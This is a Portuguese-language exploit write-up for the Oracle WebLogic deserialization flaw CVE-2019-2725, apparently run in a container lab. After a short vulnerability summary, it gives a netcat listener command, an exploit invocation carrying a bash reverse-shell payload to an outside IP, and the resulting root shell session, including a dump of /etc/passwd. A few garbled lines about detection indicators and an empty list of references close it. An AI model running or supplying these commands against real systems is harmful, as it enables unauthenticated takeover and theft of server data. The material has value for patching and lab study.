
Exploração de execução remota de código não autenticada para Oracle WebLogic Server (CVE-2019-2725) via desserialização em AsyncResponseService, entregando um shell reverso através de solicitações SOAP maliciosas.
Vulnerabilidade no componente Oracle WebLogic Server do Oracle Fusion Middleware (subcomponente: Web Services). As versões suportadas afetadas são 10.3.6.0.0 e 12.1.3.0.0. Uma vulnerabilidade facilmente explorável permite que um atacante não autenticado com acesso à rede via HTTP comprometa o Oracle WebLogic Server.
ID do CVE: CVE-2019-2725
Gravidade: Crítica (CVSS v3: 9.8)
Tipo de Vulnerabilidade: Execução Remota de Código Não Autenticada (RCE)
Produto Afetado: Oracle WebLogic Server
Componente Afetado: AsyncResponseService
Autenticação Necessária: Não
Interação do Usuário Necessária: Não
O CVE-2019-2725 é uma vulnerabilidade crítica de desserialização no Oracle WebLogic Server que permite que atacantes remotos não autenticados executem comandos arbitrários do sistema por meio de uma solicitação SOAP especialmente criada enviada ao endpoint /_async/AsyncResponseService.
Versões do Oracle WebLogic Server anteriores à Atualização Crítica de Patch de abril de 2019, incluindo, mas não se limitando a:
A vulnerabilidade existe devido à desserialização insegura no AsyncResponseService.
Um atacante pode enviar um payload XML malicioso que resulta em execução arbitrária de comandos no sistema operacional subjacente sem autenticação.
Este problema é particularmente perigoso porque:
Inicie um listener Netcat para receber o shell reverso:
nc -lvp 2323
Execute o script de exploit contra o servidor WebLogic vulnerável:
python3 CVE-2019-2725.py http://172.17.0.6:7001/_async/AsyncResponseService '/bin/bash -i >& /dev/tcp/172.17.0.10/2323 0>&1'
Saída Esperada:
[+] Target appears VULNERABLE
[*] Sending payload...
[+] Payload delivered successfully (HTTP 202)
No listener Netcat, um shell reverso é recebido:
Listening on 0.0.0.0 2323
Connection received on 172.17.0.6 39926
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@8c9cc07feb3e:~/Oracle/Middleware/user_projects/domains/base_domain#
root@8c9cc07feb3e:~/Oracle/Middleware/user_projects/domains/base_domain# whoami
root
root@8c9cc07feb3e:~/Oracle/Middleware/user_projects/domains/base_domain#
root@8c9cc07feb3e:~/Oracle/Middleware/user_projects/domains/base_domain# pwd
/root/Oracle/Middleware/user_projects/domains/base_domain
root@8c9cc07feb3e:~/Oracle/Middleware/user_projects/domains/base_domain#
root@8c9cc07feb3e:~/Oracle/Middleware/user_projects/domains/base_domain# cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
libuuid:x:100:101::/var/lib/libuuid:
syslog:x:101:104::/home/syslog:/bin/false
root@8c9cc07feb3e:~/Oracle/Middleware/user_projects/domains/base_domain#
Os seguintes indicadores podem sugerir tentativa ou exploração bem-sucedida:
HTTP 202 Accepted de serviços assíncronos/bin/bash/bin/shOs seguintes repositórios públicos foram referenciados para compreensão e validação do exploit: